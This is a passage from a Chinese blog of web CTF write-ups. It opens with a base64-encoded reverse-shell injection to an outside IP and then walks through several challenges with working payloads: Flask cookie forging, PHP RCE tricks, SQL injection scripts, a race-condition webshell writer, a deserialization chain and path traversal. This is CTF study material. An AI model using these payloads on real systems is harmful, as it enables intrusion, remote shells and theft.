test.tar || echo  YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||

image-20240717110054704

[CISCN 2019华东南]Web4

文件读取

image-20240717110852604

尝试读取/etc/passwd

image-20240717110935262

尝试读取flag文件

image-20240717111006796

常见linux配置文件

1
2
3
4
5
6
7
8
9
10
11
/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

查看当前进程对应的终端命令

image-20240717111305488

直接读

image-20240717111345242

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True

@app.route('/')
def index():
session['username'] = 'www-data'
return 'Hello World! Read somethings'

@app.route('/read')
def read():
try:
url = request.args.get('url')
if re.search('^file.*|flag', url, re.IGNORECASE):
return 'No Hack'
with urllib.request.urlopen(url) as res:
return res.read().decode('utf-8')
except Exception as ex:
print(str(ex))
return 'no response'

@app.route('/flag')
def flag():
if session.get('username') == 'fuck':
return open('/flag.txt').read()
else:
return 'Access denied'

if __name__ == '__main__':
app.run(debug=True, host="0.0.0.0")

经典session伪造

image-20240717111948701

1
eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810

分为三个部分

第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名

image-20240717112310264

1
{"username":{" b":"d3d3LWRhdGE="}}
1
{"username":{" b":"www-data"}}

读mac地址

image-20240717113214241

1
2
3
import random
random.seed(0x0242ac02521c)
print(str(random.random()*233))

python2运行

1
2
3
┌──(root㉿kali)-[~/yiyi]
└─# python2 test.py
38.8837558332

这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2

image-20240717123413345

拉到flask_session_cookie_manager3.py跑

1
2
C:\Users\31702\Desktop\yiyi\CTF\web\FLASK框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg

替换后获得flag

image-20240717122643018

使用说明

  • 使用 flask_session_cookie_manager3.py 与 Python 3,flask_session_cookie_manager2.py 与 Python 2。

使用方法:

1
flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...

Flask Session Cookie 解码/编码工具

位置参数:

  • {encode,decode}: 子命令帮助
    • encode: 编码
    • decode: 解码

可选参数:

  • -h--help: 显示帮助信息并退出

编码

1
flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -t <string>--cookie-structure <string>: Session Cookie 结构

解码

1
flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -c <string>--cookie-value <string>: Session Cookie 值

示例

编码

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

注意: Session Cookie 结构必须是一个有效的 Python 字典

解码

使用密钥:

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

不使用密钥 (输出格式较差):

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

[FSCTF 2023]签到plus

dirsearch扫到shell.php,访问发现是php info

image-20240717135734930

PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客

关闭bp的Content-Length功能

image-20240717140053098

请求包只留这几句即可

image-20240717140347431

保存至txt查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28393
Date: Wed, 17 Jul 2024 06:03:28 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};

?>

直接命令执行即可

image-20240717140821697

image-20240717140853901

[HNCTF 2022 Week1]Challenge__rce

get传参hint得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

一道无参RCE,发现|和^被过滤,不能用异或

查看所有未被过滤的字符

1
2
3
4
5
6
7
8
9
import re

regex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]"

printable_chars = range(32, 127)

for char in printable_chars:
if not re.search(regex, chr(char)):
print(chr(char), end=" ")

image-20240717141939712

考虑使用自增

首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

1
2
$_=[].'';
print_r($_); //Array

基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
@$_ = [].'';//Array
$_ = $_[0];//A
$___= '_';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//O
$___ = $_;//O
$_++;//P
$__=$_;//P
$__.=$___;//PO
$_++;$_++;$_++;
$__.=$_;//POS
$_++;
$__.=$_;//POST
echo $__;

$$__['_']($$__['__']);
//${$__}最终解析为$_POST
//['_']和['__']是传入的值

rce = $_=%5B%5D.'';$_%20=%20$_%5B0%5D;$___=%20'_';$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___%20=%20$_;$_++;$__=$_;$__.=$___;$_++;$_++;$_++;$__.=$_;$_++;$__.=$_;echo%20$__;$$__%5B'_'%5D($$__%5B'__'%5D);&_=system&__=ls
//过一遍url编码,并传入system和ls两个参数
?>

image-20240717150716468

得尝试缩减,使用CHr

image-20240717151653606

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;//B
$_1=++$_;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接 让$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])

url编码

image-20240717152317171

然后就。。。

image-20240717152446580

image-20240717152503567

[CISCN 2023 西南]do_you_like_read

解法一:

image-20240718092743965

发现存在后面并且有与之对应的动态链接库文件

image-20240718092819389

对着后门文件改路径即可

image-20240718093332120/var/www目录无回显可以考虑app目录

1
http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

image-20240718093403071

解法二:

将php等后缀改成jpg结尾

image-20240718093739882

image-20240718093830548

根据源码中的路径直接尝试访问webshell

image-20240718093950170

image-20240718094058734

image-20240718094128030

解法三:

发现可能存在sql注入的漏洞点

image-20240718094554591

直接跑sqlmap

image-20240718094549834

–os-shell直接看环境变量即可

image-20240718094644388

[强网杯 2019]随便注

联合查询的时候发现存在过滤

image-20240718102729369

  • 绕过姿势1:十六进制编码绕过
1
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
  • 绕过姿势2:使用handler函数替换
1
2
3
4
5
6
7
8
-- 打开一个表的handler
HANDLER table_name OPEN;

-- 读取下一个索引条目
HANDLER table_name READ NEXT;

-- 关闭handler
HANDLER table_name CLOSE;

payload

1
1';handler `1919810931114514` open;handler `1919810931114514` read next;

[鹤城杯 2021]EasyP

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>

包含utils.php文件,尝试请求

但是有waf

1
2
3
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。

%a0的作用解析参考别的师傅

image-20240718111306192

因此构造出payload

1
/index.php/utils.php/%a0

还有一层waf

1
2
3
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

这个比较简单

show[source或者show.source或者show+source绕过

最终payload

1
/index.php/utils.php/%a0?show[source

image-20240718111508372

web3_莫负婵娟

皎洁一年惟此夜,莫教容易负婵娟

hint:环境变量 +linux字符串截取 + 通配符

fuzz一下

image-20240720135211671

f12看到提示

1
2
3
<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

like有两个通配符%_,这里没有过滤_

1
2
% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符

尝试使用通配符判断位数

image-20240720140025488

根据这个逻辑就可以逐个爆破密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php'

pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in a:
password = pwd + j + (31 - i) * '_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data,verify=False)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break

image-20240720143555477

进去后就是个命令执行

image-20240720143618297

小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下

image-20240720144324173

ls

1
0;${PATH:5:1}${PATH:11:1}

image-20240720144530125

没有c t,可以用nl来读取

1
0;${PATH:14:1}${PATH:5:1} ????.???

image-20240720144642055

web2_故人心

三五夜中新月色,二千里外故人心

存在一个robots.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

访问hint、

1
2
3
4
5
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

看样子是个爆破

第一关

1
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){

php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162

第二关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
for ($i=100;$i<=999;$i++){
$b = "0e".$i."024452";
if($b==hash("md2", $b)){
echo $b;
}
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<=9999;$i++){
$c = "0e".$i."48399";
if($c==hash("md2",hash("md2", $c))){
echo $c;
}
}
//c=0e603448399

image-20240720145353847

第三关 post传参url

file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式

我们这边随便来一个yiyi协议,又因为

1
2
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));

所以可以构造如下payload

1
url=yiyi://ctfshow.com/../../../../../../fl0g.txt

image-20240720145905683

[NISACTF 2022]join-us

fuzz

image-20240721125727165

尝试报错注入,and被过滤

1
1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

用||代替and

1
1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#

回显

1
XPATH syntax error: '~root@localhost~'

就可以编写脚本了,几个点,and过滤用||代替,columns禁用,使用join做合并,mid截取长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests

url = 'http://node5.anna.nssctf.cn:21164/dl.php'
def test(url):
data = {
'tt':"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#"
}
re = requests.post(url,data=data)
print(re.text)
def database(url):
data = {
'tt':"1' || (select * from a)#"
}
re = requests.post(url,data=data)
print(re.text)
def table(url):
data = {
'tt':"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#"
}
re = requests.post(url,data=data)
print(re.text)
def column1(url):
data = {
'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#"#id
}
re = requests.post(url,data=data)
print(re.text)
def column2(url):
data = {
'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#"#data
}
re = requests.post(url,data=data)
print(re.text)
def flag1(url):
data = {
'tt':"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#"#data
}
re = requests.post(url,data=data)
print(re.text)


if __name__ == "__main__":
# test(url)
# database(url)
# table(url)
# column1(url)
# column2(url)
flag1(url)
# NSSCTF{68f27707-1003-413e-bd2a-4f5193963b20}

[MoeCTF 2022]ezphp

变量覆盖

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

直接打

1
http://node5.anna.nssctf.cn:26770/?a=flag&flag=a

image-20240721133554786

[第五空间 2021]EasyCleanup

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); ,限制太多,想要通过 RCE 得到 flag 几乎无从下手

image-20240721134646129

于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

1
session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
1
session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
1
session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
1
session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
1
session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
1
session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

image-20240721135246993

利用该漏洞点需要满足

1
2
3
4
5
目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

image-20240721135511825

php session.upload_progress通用利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
from re import findall as re_findall
from base64 import b64encode
from threading import Thread

HOST = 'http://node4.anna.nssctf.cn:28463/'
PHPINFO_URL = HOST + 'phpinfo.php'
LFI_URL = HOST + 'index.php'
WEB_SHELL = b'<?php eval($_POST[cmd]);?>'


session_configures = {}
resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>', requests.get(PHPINFO_URL).text)
list(map(lambda x : session_configures.update({x[0] : x[1]}), resp_text))
if session_configures['upload_progress.enabled'] != 'On':
print('[-] Target is not vulnerable')
exit(-1)

success = False

def request_phpinfo():
exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()}')); echo md5('ccc');?>"
data = {session_configures['upload_progress.name'] : exploit}
cookies = {'PHPSESSID' : 'c'}
files = {'files' : ('hello.txt', b'A' * 1024 * 1024)}
while not success:
requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files)

def request_sess_file():
global success
data = {'file' : session_configures['save_path'] + '/sess_c'}
while not success:
resp = requests.get(LFI_URL, params=data)
if '9df62e693988eb4e1e1444ece0578579' in resp.text:
print('[+] The webshell was successfully written to /tmp/.shell.php')
success = True

Thread(target=request_phpinfo).start()
Thread(target=request_sess_file).start()

修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import io
import requests
import threading
from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://node4.anna.nssctf.cn:28463/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)


def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

image-20240721140632112

[FSCTF 2023]ez_php2

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;

public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{

if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}


class Poc{
public $payload;

public $fun;

public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}

class Er{
public $symbol;
public $Flag;

public function __construct()
{
$this->symbol = True;
}

public function __set($name, $value)
{
$value($this->Flag);
}


}

class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}

public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}


if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class Rd{
public $ending;
public $cl;
public $poc;
}
class Poc{
public $payload = ['POC'=>'1111'];
public $fun;
}
class Er{
public $symbol;
public $Flag;
}
class Ha{
public $start;
public $start1;
public $start2;
}
$a = new Ha;
$b = new Poc;
$c = new Er;
$d = new Rd;


$a->start2 = "11111";
$a->start1 = $d;
$a->start = $b->payload;
$d->cl = $c;
$c->Flag = 'cat /flag';
echo serialize($a);

payload

1
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

image-20240721172553666

[SCTF 2021]loginme

I don’t know the age of the admin, can you tell me?By the way, admin’s Password maybe the thing you want

![image-20240721173419307](https://yiyyyyi.oss-cn-beijing.aliyuncs.com/img/image-20240721173419307.png)

xff,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入

image-20240721173819147

然后分析源码

关键代码

image-20240721174231082

middleware

image-20240721174020113

成功进入后跳转跳到route.Login

image-20240721174402402

首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1

structs.Users列表中查找与id匹配的用户,如果没有找到匹配项,则使用structs.Admin作为默认用户。

检查用户的年龄字段,如果为空,则从查询参数中获取age,如果仍然没有则使用默认值forever 18 (Tell me the age)

这里定义了一个结构体

image-20240721175148767

然后有一个模板渲染

1
tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露

image-20240721175528022

而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}}

在这里插入图片描述

证实推断

image-20240721175641016

image-20240721175700694

[NSSRound#4 SWPU]ez_rce

啥也没有,抓包后发现apache版本为2.4.49 (Unix)

CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客

image-20240721180247059

同时dirsearch也有提示

image-20240721181126194

抓包修改

image-20240721181417264

直接访问看不了,最后在run.sh中看到flag的真实位置

image-20240721181459887

image-20240721181546704

[WUSTCTF 2020]CV Maker

随意注册一个账号登录

image-20240721182144867

文件上传

image-20240721183527789

image-20240721183044880

image-20240721183555041

flag在环境变量中

image-20240721183655428

[NSSRound#1 Basic]basic_check

PUT方法创建木马

image-20240721184733912

image-20240721184920543

[MoeCTF 2021]地狱通讯-改

直接给源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
with open("app.py", "r") as f:
ctx = f.read()
res = make_response(ctx)
name = request.args.get('name', '')
if 'admin' in name or name == '':
return res
payload = {
"name": name,
}
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
res.set_cookie('token', token)
return res

@app.route('/hello', methods=['GET', 'POST'])
def hello():
token = request.cookies.get('token')
if not token:
return redirect('/', 302)
try:
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
if name != "admin":
user = User(name)
flag = request.args.get('flag', '')
message = "Hello {0}, your flag is {1}".format(user, flag)
return message
else:
return render_template('flag.html', name=name)

if __name__ == "__main__":
app.run()

大致看一眼,刚学的jwt伪造

  1. index 路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret 和头部 headers 生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
  2. hello 路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
  3. 如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
